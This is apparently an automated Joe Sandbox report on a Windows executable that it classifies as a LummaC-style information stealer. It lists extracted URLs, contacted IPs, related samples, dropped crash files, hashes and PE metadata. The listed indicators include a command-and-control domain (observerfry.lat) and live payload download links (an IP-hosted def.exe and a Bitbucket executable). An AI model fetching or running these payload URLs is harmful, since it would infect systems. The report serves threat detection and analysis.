https://www.google.com/images/branding/product/ico/googleg_lodp.ico	yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/tem	yuij5p5p3W.exe, 00000000.00000003.2418808757.0000000000770000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2419114901.0000000000775000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bbc-object-storage--frontbucket.us-east-1.pr	yuij5p5p3W.exe	false	Avira URL Cloud: safe	unknown
https://web-security-reports.services.atlassian.com/csp-report/bb-website	yuij5p5p3W.exe, yuij5p5p3W.exe, 00000000.00000003.2564406570.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2635458917.0000000005350000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apiObGoF	yuij5p5p3W.exe, 00000000.00000003.2393441407.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2370263535.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2396795606.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2392901987.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2368535659.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2368465999.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2394335672.00000000053E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
https://observerfry.lat/	yuij5p5p3W.exe, 00000000.00000003.2491775039.00000000053D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	yuij5p5p3W.exe, 00000000.00000003.2564406570.0000000005399000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2636339807.0000000005AA9000.00000002.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	yuij5p5p3W.exe, 00000000.00000003.2370346127.000000000567A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dz8aopenkvv6s.cloudfront.net	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	yuij5p5p3W.exe, 00000000.00000003.2491893616.0000000000764000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exeN	yuij5p5p3W.exe, 00000000.00000002.2628488082.00000000006F2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.cookielaw.org/	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	yuij5p5p3W.exe, 00000000.00000003.2369058478.000000000540B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	yuij5p5p3W.exe, 00000000.00000003.2564680005.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491893616.0000000000764000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000765000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	yuij5p5p3W.exe, 00000000.00000003.2564680005.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	yuij5p5p3W.exe, yuij5p5p3W.exe, 00000000.00000003.2564650272.0000000000781000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000002.2629000403.0000000000784000.00000004.00000020.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491871828.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false		high
https://observerfry.lat/x	yuij5p5p3W.exe, 00000000.00000003.2434922839.00000000053D2000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2491775039.00000000053D2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	yuij5p5p3W.exe, 00000000.00000003.2320443399.000000000538D000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320632820.000000000538A000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2320545200.000000000538A000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.231.128.9	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false
104.21.36.201	observerfry.lat	United States	13335	CLOUDFLARENETUS	false
185.166.143.50	bitbucket.org	Germany	16509	AMAZON-02US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580270
Start date and time:	2024-12-24 08:34:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	yuij5p5p3W.exe renamed because original name is a hash value
Original Sample Name:	90a5c9ecb3dd06dc17eee5a4f87cff94.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/5@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 13.107.246.63, 20.190.177.149, 20.12.23.50, 4.245.163.56
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:35:32	API Interceptor	25x Sleep call for process: yuij5p5p3W.exe modified
02:36:05	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
54.231.128.9	024d88b8-442e-50b9-5c43-7c71d1433823.eml	Get hash	malicious	Unknown	Browse
104.21.36.201	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse
	NxqDwaYpbp.exe	Get hash	malicious	LummaC	Browse
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse
185.166.143.50	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse
	FBmz85HS0d.exe	Get hash	malicious	LummaC	Browse
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	V7giEUv6Ee.bat	Get hash	malicious	Unknown	Browse
	GdGXG0bnxH.exe	Get hash	malicious	Unknown	Browse
	fIPSLgT0lO.exe	Get hash	malicious	Remcos	Browse
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse
	3XSXmrEOw7.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
observerfry.lat	yO9EAqDV15.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	Collapse.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	ZysXVT72cl.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	NxqDwaYpbp.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	t8cdzT49Yr.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
s3-w.us-east-1.amazonaws.com	http://plnbl.io/review/FSUQBEfTfzwH	Get hash	malicious	Unknown	Browse	54.231.128.17
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	3.5.27.149
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	3.5.29.203
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	52.217.75.84
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	3.5.25.145
	payment_3493.pdf	Get hash	malicious	Unknown	Browse	3.5.29.153
	FBmz85HS0d.exe	Get hash	malicious	LummaC	Browse	3.5.25.82
	BJQizQ6sqT.exe	Get hash	malicious	LummaC	Browse	3.5.29.90
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	52.216.152.124
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	52.217.136.89
bitbucket.org	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.166.143.48
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	185.166.143.49
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	185.166.143.49
	payment_3493.pdf	Get hash	malicious	Unknown	Browse	185.166.143.48
	FBmz85HS0d.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	BJQizQ6sqT.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	185.166.143.49
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	185.166.143.49
	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	185.166.143.49

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	sh4.nn.elf	Get hash	malicious	Okiru	Browse	54.171.230.55
	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	54.171.230.55
	armv5l.elf	Get hash	malicious	Unknown	Browse	35.163.11.216
	splm68k.elf	Get hash	malicious	Unknown	Browse	3.138.165.134
	nklarm7.elf	Get hash	malicious	Unknown	Browse	3.115.112.216
	splarm7.elf	Get hash	malicious	Unknown	Browse	3.116.167.193
	nklarm5.elf	Get hash	malicious	Unknown	Browse	18.183.83.81
	jklspc.elf	Get hash	malicious	Unknown	Browse	3.110.151.242
	nabspc.elf	Get hash	malicious	Unknown	Browse	54.228.23.120
	splarm.elf	Get hash	malicious	Unknown	Browse	13.251.226.54
AMAZON-02US	sh4.nn.elf	Get hash	malicious	Okiru	Browse	54.171.230.55
	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	54.171.230.55
	armv5l.elf	Get hash	malicious	Unknown	Browse	35.163.11.216
	splm68k.elf	Get hash	malicious	Unknown	Browse	3.138.165.134
	nklarm7.elf	Get hash	malicious	Unknown	Browse	3.115.112.216
	splarm7.elf	Get hash	malicious	Unknown	Browse	3.116.167.193
	nklarm5.elf	Get hash	malicious	Unknown	Browse	18.183.83.81
	jklspc.elf	Get hash	malicious	Unknown	Browse	3.110.151.242
	nabspc.elf	Get hash	malicious	Unknown	Browse	54.228.23.120
	splarm.elf	Get hash	malicious	Unknown	Browse	13.251.226.54
CLOUDFLARENETUS	yO9EAqDV15.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	singl6.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.37.173
	HALKBANK EKSTRE.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	eMBO6wS1b5.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.169.205
	qoqD1RxV0F.exe	Get hash	malicious	LummaC	Browse	172.67.195.241
	txUcQFc0aJ.exe	Get hash	malicious	LummaC	Browse	172.67.151.61
	hnskdfgjgar22.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	nabarm5.elf	Get hash	malicious	Unknown	Browse	8.6.115.225
	nklmips.elf	Get hash	malicious	Unknown	Browse	104.29.132.180
	eCompleted_419z.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	yO9EAqDV15.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 54.231.128.9 185.166.143.50
	singl6.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.36.201 54.231.128.9 185.166.143.50
	eMBO6wS1b5.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.36.201 54.231.128.9 185.166.143.50
	qoqD1RxV0F.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 54.231.128.9 185.166.143.50
	txUcQFc0aJ.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 54.231.128.9 185.166.143.50
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 54.231.128.9 185.166.143.50
	Adobe GenP 5.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 54.231.128.9 185.166.143.50
	Setup_W.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 54.231.128.9 185.166.143.50
	iviewers.dll	Get hash	malicious	LummaC	Browse	104.21.36.201 54.231.128.9 185.166.143.50
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 54.231.128.9 185.166.143.50

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yuij5p5p3W.exe_7993edd1949fe3b12f176beeaa63fdd4ada698f_e019711b_98493af3-49f5-4220-9844-f4aa7ce4fe6c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0426505311471825
Encrypted:	false
SSDEEP:	96:rpFe0Xs2hYoI7JfdQXIDcQvc6QcEVcw3cE/n+HbHg/8BRTf3Oy1oVazW0EVs2fCZ:9Q0XB0BU/gjudxqfzuiFoZ24IO87cZ0
MD5:	29F79D03AEB7B9BF5F5E7F990FE1F1E0
SHA1:	B23DDBE1990E6ACA4BABB6A6D73A4EE9256BA0C6
SHA-256:	C77D045B4DFDEEB4B51903107FFADD71A38D1CED6304A01A1BD82B84CF601C1E
SHA-512:	A746C7203B0F60B09D21CB122F724399344C760DFF42FF1789C7630BF74E0BDFFE70A64E1FC3718D4EED9557B6159791221A2C2CD63275D5770FF4D82563DB94
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.4.9.9.3.5.9.8.9.9.3.4.9.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.4.9.9.3.6.0.5.7.1.2.3.2.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.8.4.9.3.a.f.3.-.4.9.f.5.-.4.2.2.0.-.9.8.4.4.-.f.4.a.a.7.c.e.4.f.e.6.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.e.3.a.8.4.c.0.-.a.c.d.7.-.4.e.7.8.-.a.0.7.7.-.5.1.3.f.f.5.b.1.d.c.d.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.u.i.j.5.p.5.p.3.W...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.c.4.-.0.0.0.1.-.0.0.1.4.-.3.f.e.1.-.9.1.6.6.d.6.5.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.a.a.7.f.e.a.0.f.4.7.5.a.1.7.f.6.6.0.0.f.9.b.a.9.6.d.b.d.1.b.8.0.0.0.0.f.f.f.f.!.0.0.0.0.1.4.a.8.4.c.c.c.7.4.6.a.8.7.9.0.1.8.c.5.2.a.0.6.3.c.c.a.4.0.6.5.c.5.1.5.c.d.c.b.!.y.u.i.j.5.p.5.p.3.W...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER152F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Dec 24 07:36:00 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	283578
Entropy (8bit):	1.5211778573388826
Encrypted:	false
SSDEEP:	768:8++25lBBpPnZ83bNk07j/1kG+WzPFzSUT80M:8+1zPnZpXWzFzSUY0
MD5:	534AAA7D957ED8F4B53082BBDD1CBF4A
SHA1:	63CA9A1C93736A316B9900768D86CD3D09CF21C5
SHA-256:	BECB02D79D8AC743B03ACF4AF3CA1D92A1E2FDAA9CC02AD3538517222E025CE1
SHA-512:	11AAD8BCCEDDEA4C4544B421D5207700C88EA31674DDC002D71C1AFADCBD20681F10DF5B7BA7102AADB45DB88C2FD5E5F14FDED13FC3DF57BEDEFC02EF052F7D
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......`djg....................................D....'......4...L...........`.......8...........T............K...............(...........*..............................................................................eJ......`+......GenuineIntel............T...........>djg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16A7.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8384
Entropy (8bit):	3.7037115518023294
Encrypted:	false
SSDEEP:	192:R6l7wVeJ8G6M36YEIsSU9wTgmfbwprM89bB63ksfALm:R6lXJl686YEzSU9wTgmfbEB63XfB
MD5:	3F608B2566587AF2A16D14B1F32340DB
SHA1:	06951BCAAB18FCA1DA05C46987089A997F370543
SHA-256:	00E487D33BF2681253DEB5CE80FE7D37EC292E1F520BAC44EBFF07BCC77D1ADE
SHA-512:	350E53DC38343620609673F1315B5A3FA34D5349BE481F1630A840F5B89AD663A800FBC84DB8C0768D881B7AFACF169A55EA497E55DC378AB724DF90C3CF7DF4
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16E6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4624
Entropy (8bit):	4.498532499973212
Encrypted:	false
SSDEEP:	48:cvIwWl8zsWJg77aI9gDWpW8VYpYm8M4JbLgFS+q8T9YANvO1d:uIjfsI72y7VpJbjaiqvO1d
MD5:	EDB650B4B657F256D852292A626C8785
SHA1:	4C1D5C824D367CD741A54E14675E02A74BFE7BEF
SHA-256:	0ECB186AEB02C9BE5F4C03513C8286BC30BCDDFCBD496A1B9A4C2B33A26EF80B
SHA-512:	B74F37BF596B21250EAFBD1D9A0BB18E1494C5273333E4C75A5B6101E4D6E86A6EBBFB35358639B3510305DED4FA415483F41A7908F19F2DE68176128B2768D5
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="645038" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421563478023578
Encrypted:	false
SSDEEP:	6144:QSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNW0uhiTw2:7vloTMW+EZMM6DFyc03w2
MD5:	D22CB8B0DC2613F113C2B8439D1BE76E
SHA1:	E6F2DF7672DEC037C507E9C567B209B38CE475B3
SHA-256:	F7A75DFCCB53AD9622BF44F352E43B4BCCC889998BA00B86AE6D5EBA8565C749
SHA-512:	8A6C50C476A4427417EA68E780749C8890BE09E994F1883BE83A183DBD2E02C60088A34E3A0A0180F423ACE42D7197E542B1DABFB8D8636C5A5BE5E2E99BC496
Malicious:	false
Reputation:	low
Preview:	regf?...?....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmf..z.U...............................................................................................................................................................................................................................................................................................................................................w.N........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.516025067246
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	yuij5p5p3W.exe
File size:	2'934'784 bytes
MD5:	90a5c9ecb3dd06dc17eee5a4f87cff94
SHA1:	14a84ccc746a879018c52a063cca4065c515cdcb
SHA256:	e98e5f996acfc1a2941e3326bfd72e414b36228bcf4d4e139f4ed05668093621
SHA512:	78c0bd83c4d0c6318286f2a461bbbf6922cbabdd1e68c87f4cdb939752df9a63bfd011adb2cba76e6999828c166cb2e01207fce6c80ec007de35686eb69a1331
SSDEEP:	49152:4eHIYdCOHkBgbtZ4elDLjD7DkcGjT84fWrWXvNkaWaH:JHIYdRkBun4eBLjD/kcG387rWXlkaWaH
TLSH:	7BD55C95A50479CFD48E1379A527CF82A99C43B9071049C3986DB1BDBDA3FC026FED28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................../...........@.........................../.......,...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6f9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F588126BFBAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
